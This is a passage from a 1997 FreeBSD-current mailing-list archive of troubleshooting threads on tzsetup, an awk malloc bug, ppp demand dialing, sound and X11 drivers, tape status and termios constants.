<199711191933.AA07948@iluvatar.unx.sas.com> Subject: tzsetup -- invalid format To: freebsd-current@freebsd.org Date: Wed, 19 Nov 1997 14:33:55 -0500 (EST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, Running: 3.0-971102-SNAP ... When I installed I forgot to set my timezone correctly... # tzsetup tzsetup: /usr/share/misc/iso3166:465 invalid format # If I look at /usr/share/misc/iso3166 line 465, I see that it is a blank line. If I delete it, everything works fine. I don't have a 2.x system to check this against... and I bet most people don't use tzsetup, so this has probably been this way for awhile... Is this send-pr material, or is the appropriate developer listening? :-) Thanks, John -- jwd@unx.sas.com (w) John W. De Boskey (919) 677-8000 x6915 From owner-freebsd-current Wed Nov 19 13:35:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA00432 for current-outgoing; Wed, 19 Nov 1997 13:35:18 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA00425 for ; Wed, 19 Nov 1997 13:35:14 -0800 (PST) (envelope-from benst@terminus.stuyts.nl) Received: from stuyts by ns.NL.net (5.65b/NLnet1.3) id AA13031; Wed, 19 Nov 1997 22:27:19 +0100 Received: from daneel.stuyts.nl (daneel.stuyts.nl [193.78.231.7]) by terminus.stuyts.nl (8.8.8/8.8.5) with ESMTP id WAA08844 for ; Wed, 19 Nov 1997 22:23:49 +0100 (MET) Received: (from benst@localhost) by daneel.stuyts.nl (8.8.5/8.8.5) id WAA03580 for current@FreeBSD.ORG; Wed, 19 Nov 1997 22:23:40 +0100 (MET) Message-Id: <199711192123.WAA03580@daneel.stuyts.nl> Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) X-Nextstep-Mailer: Mail 3.3 (Enhance 1.2) Received: by NeXT.Mailer (1.118.2) From: Ben Stuyts Date: Wed, 19 Nov 97 22:23:38 +0100 To: current@FreeBSD.ORG Subject: Cnews expire problem, probably awk/malloc related Reply-To: ben@stuyts.nl Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Dear net, Yesterday I've ugraded a system from 2.2-Stable to 3.0-Current with SMP. It runs Cnews (cnews-cr.g) from the packages collection. Today it started having problems while running doexpire. At the end of that it runs upact. I get these messages: awk in free(): warning: chunk is already free. awk in free(): warning: chunk is already free. awk in free(): warning: chunk is already free. awk in free(): warning: chunk is already free. awk in free(): warning: chunk is already free. ... repeated many times awk in free(): warning: page is already free. awk in free(): warning: page is already free. awk in free(): warning: chunk is already free. awk in free(): warning: chunk is already free. ... etc /usr/local/news/cnewsbin/expire/upact: errors in active.tmp -- aborting line 761: "alt.comp.hardware.pc-homebuilt" is non-numeric line 761: field 3 is zero line 762: "nl.sport.algemeen" is non-numeric line 762: field 3 is zero ...etc line 919: "comp.security.pgp.test" is non-numeric line 919: field 3 is zero This looks like an awk or malloc problem. Any ideas? Thanks, Ben From owner-freebsd-current Wed Nov 19 14:27:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA06450 for current-outgoing; Wed, 19 Nov 1997 14:27:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smtp2.xs4all.nl (smtp2.xs4all.nl [194.109.6.52]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA06444 for ; Wed, 19 Nov 1997 14:27:34 -0800 (PST) (envelope-from plm@muon.xs4all.nl) Received: from asterix.xs4all.nl (root@asterix.xs4all.nl [194.109.6.11]) by smtp2.xs4all.nl (8.8.6/XS4ALL) with ESMTP id XAA15096 for ; Wed, 19 Nov 1997 23:27:21 +0100 (CET) Received: from muon.xs4all.nl (uucp@localhost) by asterix.xs4all.nl (8.8.6/8.8.6) with UUCP id XAA15927 for freebsd-current@freebsd.org; Wed, 19 Nov 1997 23:24:23 +0100 (MET) Received: (from plm@localhost) by muon.xs4all.nl (8.8.7/8.7.3) id UAA00601; Tue, 18 Nov 1997 20:43:22 +0100 (MET) To: freebsd-current@freebsd.org Subject: Re: async fs? References: <87vhxq6lgm.fsf@totally-fudged-out-message-id> From: Peter Mutsaers Date: 18 Nov 1997 20:43:22 +0100 In-Reply-To: chuckr@glue.umd.edu's message of Mon, 17 Nov 1997 12:23:38 -0500 (EST) Message-ID: <87hg9augx1.fsf@muon.xs4all.nl> Lines: 30 X-Mailer: Gnus v5.5/Emacs 20.2 Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> On Mon, 17 Nov 1997 12:23:38 -0500 (EST), chuckr@glue.umd.edu said: c> On 17 Nov, Nicolai Petri wrote: >> >> Greetings All, >> >> I read something about mounting a drive in async mode, I >> wondered if this will give me a performance increase on my >> proxy server.. And is it possible to do it on all filesystems >> ?? >> c> Are you aware that losing your system while you are running c> async is usually fairly safe (often you lose no files, or if c> you were very busy doing disk activity, maybe a few), but if c> you are mounted async, you could possibly lose much, much more? c> It'll certainly increase performance, but you'd better be c> willing to pay the price. I always use async for everything; it speeds up things a lot. Since I make regular backups it is no problem if I would loose my system once and it is worth it. Even then, in 2 years use of FreeBSD and some crashes I've never lost a filesystem. -- /\_/\ ( o.o ) Peter Mutsaers | Abcoude (Utrecht), | Trust me, I know ) ^ ( plm@xs4all.nl | the Netherlands | what I'm doing. From owner-freebsd-current Wed Nov 19 14:55:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA08567 for current-outgoing; Wed, 19 Nov 1997 14:55:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns1.yes.no (ns1.yes.no [195.119.24.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA08551 for ; Wed, 19 Nov 1997 14:55:33 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by ns1.yes.no (8.8.7/8.8.7) with ESMTP id WAA10556; Wed, 19 Nov 1997 22:55:26 GMT Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id XAA27450; Wed, 19 Nov 1997 23:55:26 +0100 (MET) Date: Wed, 19 Nov 1997 23:55:26 +0100 (MET) Message-Id: <199711192255.XAA27450@bitbox.follo.net> From: Eivind Eklund To: jcondon CC: freebsd-current@FreeBSD.ORG In-reply-to: jcondon's message of Wed, 19 Nov 1997 13:33:48 -0500 Subject: Re: ppp pmdemand dials when I dont want it to References: <3473310C.EEF454E2@computer.net> Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Been wrestling with this for about a week. Started running 2.2.2 and > did a fresh reinstall to 2.2.5. All seems to work fine except it dials > and apperently does DNS lookups for apperently no reason. I have > removed the -q option on Sendmail, and disabled Sendmail altogether. > When I unplug the ethernet cable from the Win95 machine, or dialup via > its own modem / DUN it doesn't cause the UNIX box to dial in. However > when the Win95 is plugged into the ethernet and running nothing more > then explorer and systay it will dial in with in 15 mins usually > sooner. I did notice that if I dial in with the Win95 box and do > NOTHING it sends about 250 bytes a min and receives about 15K. Could > this have something to do with it? This is a Win95 bug, related to having exported SMB drives. If you drop the SMB drives, it (probably) won't dial out. There is also a registry setting to achieve this, but I don't remember what it is. And it's not a reasonable topic for freebsd-hackers, IMHO - use freebsd-questions. Eivind. From owner-freebsd-current Wed Nov 19 15:13:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA10580 for current-outgoing; Wed, 19 Nov 1997 15:13:54 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA10575 for ; Wed, 19 Nov 1997 15:13:49 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id PAA00602; Wed, 19 Nov 1997 15:13:15 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Wed, 19 Nov 1997 15:13:15 -0800 (PST) From: logue To: jcondon cc: "freebsd-current@FreeBSD.ORG" Subject: Re: ppp pmdemand dials when I dont want it to In-Reply-To: <3473310C.EEF454E2@computer.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 19 Nov 1997, jcondon wrote: > > Nov 19 03:46:27 quake ppp[180]: tun0: TCP/IP: OUT UDP: 10.0.0.2:137 ---> > 207.50.192.4:53 > Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Dial attempt 1 of 1 > Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Expecting > Nov 19 03:46:27 quake ppp[180]: tun0: Chat: sending: ATE1Q0^M > Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Expecting OK-AT-OK > Nov 19 03:46:27 quake ppp[180]: tun0: Chat: Wait for (5): OK --> OK > Nov 19 03:46:27 quake ppp[180]: tun0: Connect: ATE1Q0^M^M > Nov 19 03:46:27 quake ppp[180]: tun0: Connect: OK > Looks like one or all of your windows machines are configured to use DNS for NetBIOS name resolution. Turn it off, and you shouldn't have any problems. Port 137 is the netbios name service port, and port 53 is the DNS port. You have a log here of one of your internal machine's trying to ask your ISP's DNS server for a NetBIOS name translation. -STEVEl From owner-freebsd-current Wed Nov 19 15:16:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA10889 for current-outgoing; Wed, 19 Nov 1997 15:16:56 -0800 (PST) (envelope-from owner-freebsd-current) Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA10799 for ; Wed, 19 Nov 1997 15:16:05 -0800 (PST) (envelope-from pb@fasterix.frmug.org) Received: (from uucp@localhost) by frmug.org (8.8.8/frmug-2.1/nospam) with UUCP id AAA00784; Thu, 20 Nov 1997 00:14:47 +0100 (CET) (envelope-from pb@fasterix.frmug.org) Received: (from pb@localhost) by fasterix.frmug.org (8.8.5/8.8.5/pb-19970302) id VAA23040; Wed, 19 Nov 1997 21:53:06 +0100 (CET) Message-ID: <19971119215306.JP52702@@> Date: Wed, 19 Nov 1997 21:53:06 +0100 From: pb@fasterix.freenix.org (Pierre Beyssac) To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Cc: pb@fasterix.frmug.org (Pierre Beyssac), freebsd-current@FreeBSD.ORG Subject: Re: the sound driver and the OPTi931 chip References: <19971119181139.DR06397@mars.hsc.fr> <199711191652.RAA23208@labinfo.iet.unipi.it> X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 In-Reply-To: <199711191652.RAA23208@labinfo.iet.unipi.it>; from Luigi Rizzo on Nov 19, 1997 17:52:37 +0100 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Luigi Rizzo writes: > My "new" driver (device pcm0 ...) works perfectly with this card. I > used it for development. The card itself has a bug in that ulaw does > not work natively, and the driver emulates it using unsigned 8-bit. Many thanks, it works! Seems to work like a charm (the only surprising thing is that it declares itself as pcm1 instead of pcm0 but I assume that's to be expected). -- Pierre Beyssac pb@fasterix.frmug.org pb@fasterix.freenix.org {Free,Net,Open}BSD, Linux : il y a moins bien, mais c'est plus cher Free domains: http://www.eu.org/ or mail dns-manager@EU.org From owner-freebsd-current Wed Nov 19 16:08:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA15577 for current-outgoing; Wed, 19 Nov 1997 16:08:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA15568 for ; Wed, 19 Nov 1997 16:08:13 -0800 (PST) (envelope-from benst@terminus.stuyts.nl) Received: from stuyts by ns.NL.net (5.65b/NLnet1.3) id AA03493; Thu, 20 Nov 1997 01:06:39 +0100 Received: from daneel.stuyts.nl (daneel.stuyts.nl [193.78.231.7]) by terminus.stuyts.nl (8.8.8/8.8.5) with ESMTP id BAA11898 for ; Thu, 20 Nov 1997 01:00:04 +0100 (MET) Received: (from benst@localhost) by daneel.stuyts.nl (8.8.5/8.8.5) id AAA03715 for current@FreeBSD.ORG; Thu, 20 Nov 1997 00:59:18 +0100 (MET) Message-Id: <199711192359.AAA03715@daneel.stuyts.nl> Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) X-Nextstep-Mailer: Mail 3.3 (Enhance 1.2) Received: by NeXT.Mailer (1.118.2) From: Ben Stuyts Date: Thu, 20 Nov 97 00:59:15 +0100 To: current@FreeBSD.ORG Subject: Re: Cnews expire problem, probably awk/malloc related Reply-To: ben@stuyts.nl Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk To follow up on my own question: On Wed, 19 Nov 97, Ben Stuyts wrote: > Yesterday I've ugraded a system from 2.2-Stable to 3.0-Current with SMP. It > runs Cnews (cnews-cr.g) from the packages collection. Today it started having > problems while running doexpire. At the end of that it runs upact. I get > these messages: > > awk in free(): warning: chunk is already free. > awk in free(): warning: chunk is already free. > ...etc I replaced /usr/bin/awk (which is v3.0.3) with the one (2.15p5) on the latest snapshot cd and the problems seems to have gone away. I guess this means that the new awk in -current isn't up to snuff yet. Thank you very much to Walnut Creek for JIT delivery of the 2.2.5 and 3.0 cd's today. B-) Ben From owner-freebsd-current Wed Nov 19 16:58:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA19268 for current-outgoing; Wed, 19 Nov 1997 16:58:47 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rf900.physics.usyd.edu.au (rf900.physics.usyd.edu.au [129.78.129.109]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA19262 for ; Wed, 19 Nov 1997 16:58:39 -0800 (PST) (envelope-from dawes@rf900.physics.usyd.edu.au) Received: (from dawes@localhost) by rf900.physics.usyd.edu.au (8.8.5/8.8.2) id LAA19837; Thu, 20 Nov 1997 11:57:04 +1100 (EST) Message-ID: <19971120115703.37544@rf900.physics.usyd.edu.au> Date: Thu, 20 Nov 1997 11:57:03 +1100 From: David Dawes To: Pierre Beyssac Cc: freebsd-current@FreeBSD.ORG Subject: Re: Acrobat problems? References: <199711170737.BAA03677@zuhause.mn.org> <199711181756.JAA05389@user2.teleport.com> <19971120010935.32146@rf900.physics.usyd.edu.au> <19971119190230.YE53218@mars.hsc.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <19971119190230.YE53218@mars.hsc.fr>; from Pierre Beyssac on Wed, Nov 19, 1997 at 07:02:30PM +0100 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Nov 19, 1997 at 07:02:30PM +0100, Pierre Beyssac wrote: >According to David Dawes: >> The current 24bpp implementation in XFree86 is quite different from most >> others in that it uses a depth 24 pixmap format with bits-per-pixel also >> 24 (most others -- including Xig's X server -- have bits-per-pixel 32 >> for their depth 24 pixmap format). Checking the output of xdpyinfo will > >I recently had similar problems when playing with shared pixmaps and >gathered a few xdpyinfos from friends, and consistently got 32 >bits-per-pixel on 24 bits depths with XFree (they all got Matrox >cards however I believe, so take this with a grain of salt) : > >vendor string: The XFree86 Project, Inc >vendor release number: 3310 >supported pixmap formats: > depth 1, bits_per_pixel 1, scanline_pad 32 > depth 24, bits_per_pixel 32, scanline_pad 32 I was referring only to the case when the framebuffer is operating in packed 24bpp mode. For drivers (or chipsets) which don't support that mode, or when using '-bpp 32', you'll see the above. One exception to this is the S3V server in 3.3.1. It has code to do 32bpp pixmaps for packed 24bpp (and this is even newer and more experimental than the other code). A Millennium with '-bpp 24' shows: vendor string: The XFree86 Project, Inc vendor release number: 3310 supported pixmap formats: depth 1, bits_per_pixel 1, scanline_pad 32 depth 24, bits_per_pixel 24, scanline_pad 32 and that was the case under discussion. >This one was under FreeBSD, I got others under Linux with the same >results. XFree86 is the same on all platforms in this regard. >I don't know much about XFree internals, maybe it might depend on >differences between the S3 server and others? The 3.3.1 S3 (non ViRGE) server doesn't yet support packed 24bpp framebuffer operation. Also the S3 chips older than the [89]68 family don't do packed 24bpp anyway. > >> Doing what the XFree86 servers currently do in this regard is quite >> valid from an X11 point of view, but many clients cannot cope with it. > >I agree. Many clients were written when 8 bits or monochrome displays >were the norm and were never tested on 16, 24 or 32 bits displays. >The more general implementation of this stuff I have seen so far is >the libxpm. Yes. 16bpp still causes problems for some clients (anyone tried IDL on a 16bpp display?) because it is relatively rare in the traditional Unix workstation world. Pixmap bpp of 24 is even rarer. David From owner-freebsd-current Wed Nov 19 17:32:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA22788 for current-outgoing; Wed, 19 Nov 1997 17:32:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA22768 for ; Wed, 19 Nov 1997 17:32:47 -0800 (PST) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.7/8.8.7) with ESMTP id AAA12234; Thu, 20 Nov 1997 00:16:44 GMT (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199711200016.AAA12234@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: jcondon cc: "freebsd-current@FreeBSD.ORG" Subject: Re: ppp pmdemand dials when I dont want it to In-reply-to: Your message of "Wed, 19 Nov 1997 13:33:48 EST." <3473310C.EEF454E2@computer.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Nov 1997 00:16:43 +0000 From: Brian Somers Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Been wrestling with this for about a week. Started running 2.2.2 and > did a fresh reinstall to 2.2.5. All seems to work fine except it dials > and apperently does DNS lookups for apperently no reason. I have > removed the -q option on Sendmail, and disabled Sendmail altogether. > When I unplug the ethernet cable from the Win95 machine, or dialup via > its own modem / DUN it doesn't cause the UNIX box to dial in. However > when the Win95 is plugged into the ethernet and running nothing more > then explorer and systay it will dial in with in 15 mins usually > sooner. I did notice that if I dial in with the Win95 box and do > NOTHING it sends about 250 bytes a min and receives about 15K. Could > this have something to do with it? [.....] I think you really need to find out what's being looked up in each case and stop each lookup at source, *or*........ I've never really used demand dialing, it simply never does what you want it to do. I sat down and thought about it at one point, and decided that I've basically got a network that I use personally. I don't want arbitrary DNS lookups to trigger a dialup, and I don't want sendmail doing a dialup as soon as I press "Send" on my mailer - I've normally got more than one thing to send. I don't want the machine to dialup while I'm not there *except* to do a cvsup and exchange news & mail at some early hour of the morning. In fact, the only time I actually want to ``demand dial'' is when I'm actually sitting in front of the machine and think "I want a connection". These thoughts triggered the fixing of -background mode and the birth of pppctl. The pppctl man page essentially has examples of the scripts I use (available from all machines on my network) to make a connection. I run ppp in -auto mode so that there's never any contention trying to start two at once. I have six FvwmButtons on my desktop - "Connect 30", "Connect 60", "Connect 120", "Connect 300", "Disconnect" and "Hangup". The "Hangup" script sends a HUP to ppp, and the rest are invocations of the stuff in pppctl(8). Even under M$, I have buttons that connect a telnet session to one of the FreeBSD boxes on a specific port. Inetd runs a script that does the "connect 300" or whatever. The script exits and the M$ box loses the connection. Of course I had to install some third party freeware telnet implemenation 'cos the M$ one starts stuffing dialogue boxes in your face when the connection drops :-| So, every machine I sit in front of (or switch to) has a set of connect/disconnect buttons or scripts, and ppp doesn't do *any* unwanted dialing ! Perhaps I ought to ramble on about this in the FAQ :-) > Thanks for any insight you could provide. > > Jim Condon -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-current Wed Nov 19 20:30:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA05757 for current-outgoing; Wed, 19 Nov 1997 20:30:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA05751 for ; Wed, 19 Nov 1997 20:30:23 -0800 (PST) (envelope-from jdp@austin.polstra.com) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.7/8.8.7) with ESMTP id UAA28869; Wed, 19 Nov 1997 20:30:17 -0800 (PST) (envelope-from jdp) Message-Id: <199711200430.UAA28869@austin.polstra.com> To: jwd@unx.sas.com Subject: Re: tzsetup -- invalid format In-Reply-To: <199711191933.AA07948@iluvatar.unx.sas.com> References: <199711191933.AA07948@iluvatar.unx.sas.com> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Date: Wed, 19 Nov 1997 20:30:16 -0800 From: John Polstra Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199711191933.AA07948@iluvatar.unx.sas.com>, John W. DeBoskey wrote: > Running: 3.0-971102-SNAP ... When I installed I forgot to set > my timezone correctly... > > > # tzsetup > tzsetup: /usr/share/misc/iso3166:465 invalid format > # > > If I look at /usr/share/misc/iso3166 line 465, I see that > it is a blank line. If I delete it, everything works fine. Already fixed on November 7 in src/usr.sbin/tzsetup/tzsetup.c revision 1.9. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-current Wed Nov 19 22:47:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA14378 for current-outgoing; Wed, 19 Nov 1997 22:47:19 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA14369 for ; Wed, 19 Nov 1997 22:47:14 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA02270 for current@FreeBSD.ORG; Thu, 20 Nov 1997 07:47:13 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.8/8.8.5) id MAA26992; Wed, 19 Nov 1997 12:33:45 +0100 (MET) Message-ID: <19971119123345.BQ56455@uriah.heep.sax.de> Date: Wed, 19 Nov 1997 12:33:45 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: current@FreeBSD.ORG Subject: Re: ppp and ascend router problems References: <199711131806.NAA02823@mailman.iuinc.com> <199711132339.XAA21225@awfulhak.demon.co.uk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199711132339.XAA21225@awfulhak.demon.co.uk>; from Brian Somers on Nov 13, 1997 23:39:27 +0000 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Somers wrote: > The peer is behaving differently. If this is the same peer, I'd be > surprised. The funny thing here is that we manage to squeeze two > CONFIG REQs out before the peer sends anything. The peer doesn't REQ > for four seconds. That could be a busy radius server on the other end. > I'd examine this with whoever controls (and hopefully understands) > the peer. Basically, if we send a REJ, the peer *must not* REQ the > things that we REJ. We are entitled to drop the connection > immediately if this happens because the peer is violating the ppp > protocol. When debugging FreeBSD's sppp layer, i've in the end sent a large bug report to Ascend, complaining about various protocol violations (the most serious was that they allowed IPCP negotiation before completing authentication phase, and then dropped the successfully authenticated connection, for the only apparent reason that non-AUTH traffic happened before). I've got a quick response, even from a developer, but have yet to hear anything againg from them... -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Thu Nov 20 01:52:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25005 for current-outgoing; Thu, 20 Nov 1997 01:52:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from korin.warman.org.pl (korin.nask.waw.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA24995 for ; Thu, 20 Nov 1997 01:52:34 -0800 (PST) (envelope-from abial@korin.warman.org.pl) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.8/8.8.5) with SMTP id KAA14493 for ; Thu, 20 Nov 1997 10:54:59 +0100 (CET) Date: Thu, 20 Nov 1997 10:54:59 +0100 (CET) From: Andrzej Bialecki To: freebsd-current@freebsd.org Subject: 'mt status' doesn't report file # ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! Recently I started using mt(8) with HP SCSI DAT drive. After using this command on Solaris I badly miss the information about file #. How to get this info? Without it it's unnecesarily difficult to rewind the tape with 'bsf' and 'fsf' not knowing where I am presently. Maybe it's an option to mt(8) which I overlooked... OS is a week old -current. Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-current Thu Nov 20 06:42:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA08721 for current-outgoing; Thu, 20 Nov 1997 06:42:04 -0800 (PST) (envelope-from owner-freebsd-current) Received: from korin.warman.org.pl (korin.nask.waw.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA08716 for ; Thu, 20 Nov 1997 06:41:57 -0800 (PST) (envelope-from abial@korin.warman.org.pl) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.8/8.8.5) with SMTP id PAA06497 for ; Thu, 20 Nov 1997 15:44:22 +0100 (CET) Date: Thu, 20 Nov 1997 15:44:21 +0100 (CET) From: Andrzej Bialecki To: freebsd-current@freebsd.org Subject: CBAUD missing? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! I tried to compile a piece of software, probably for Linux, and I noticed that we don't define CBAUD constant. I'm not sure, but I think POSIX defines and uses it. Should(n't) we? Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-current Thu Nov 20 08:42:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA16578 for current-outgoing; Thu, 20 Nov 1997 08:42:36 -0800 (PST) (envelope-from owner-freebsd-current) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA16571 for ; Thu, 20 Nov 1997 08:42:33 -0800 (PST) (envelope-from bde@zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.6.9) id DAA17934; Fri, 21 Nov 1997 03:34:06 +1100 Date: Fri, 21 Nov 1997 03:34:06 +1100 From: Bruce Evans Message-Id: <199711201634.DAA17934@godzilla.zeta.org.au> To: abial@korin.warman.org.pl, freebsd-current@FreeBSD.ORG Subject: Re: CBAUD missing? Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I tried to compile a piece of software, probably for Linux, and I noticed >that we don't define CBAUD constant. I'm not sure, but I think POSIX >defines and uses it. Should(n't) we? CBAUD is for SYSV compatibility. It is considerably inferior to POSIX's cf{get,set}{i,o}speed and shouldn't be provided or used. Bruce From owner-freebsd-current Thu Nov 20 10:17:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA23118 for current-outgoing; Thu, 20 Nov 1997 10:17:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ix.netcom.com (sil-wa2-05.ix.netcom.com [206.214.137.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA23113 for ; Thu, 20 Nov 1997 10:17:09 -0800 (PST) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id KAA00483; Thu, 20 Nov 1997 10:16:35 -0800 (PST) (envelope-from tomdean) Date: Thu, 20 Nov 1997 10:16:35 -0800 (PST) Message-Id: <199711201816.KAA00483@ix.netcom.com> From: Thomas Dean To: abial@korin.warman.org.pl CC: freebsd-current@FreeBSD.ORG In-reply-to: (message from Andrzej Bialecki on Thu, 20 Nov 1997 15:44:21 +0100 (CET)) Subject: Re: CBAUD missing? Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have the same problem. I downloaded termios.h from a Linux site. I use the following: #define OLCUC 0000002 #define OCRNL 0000010 #define IUCLC 0001000 #define CBAUD 0010017 #define XCASE 0000004 At that time, I asked for these to be included in out termios.h. No response. So, How about it? Can we have all the serial-related definitions in -current's termios.h? tomdean From owner-freebsd-current Thu Nov 20 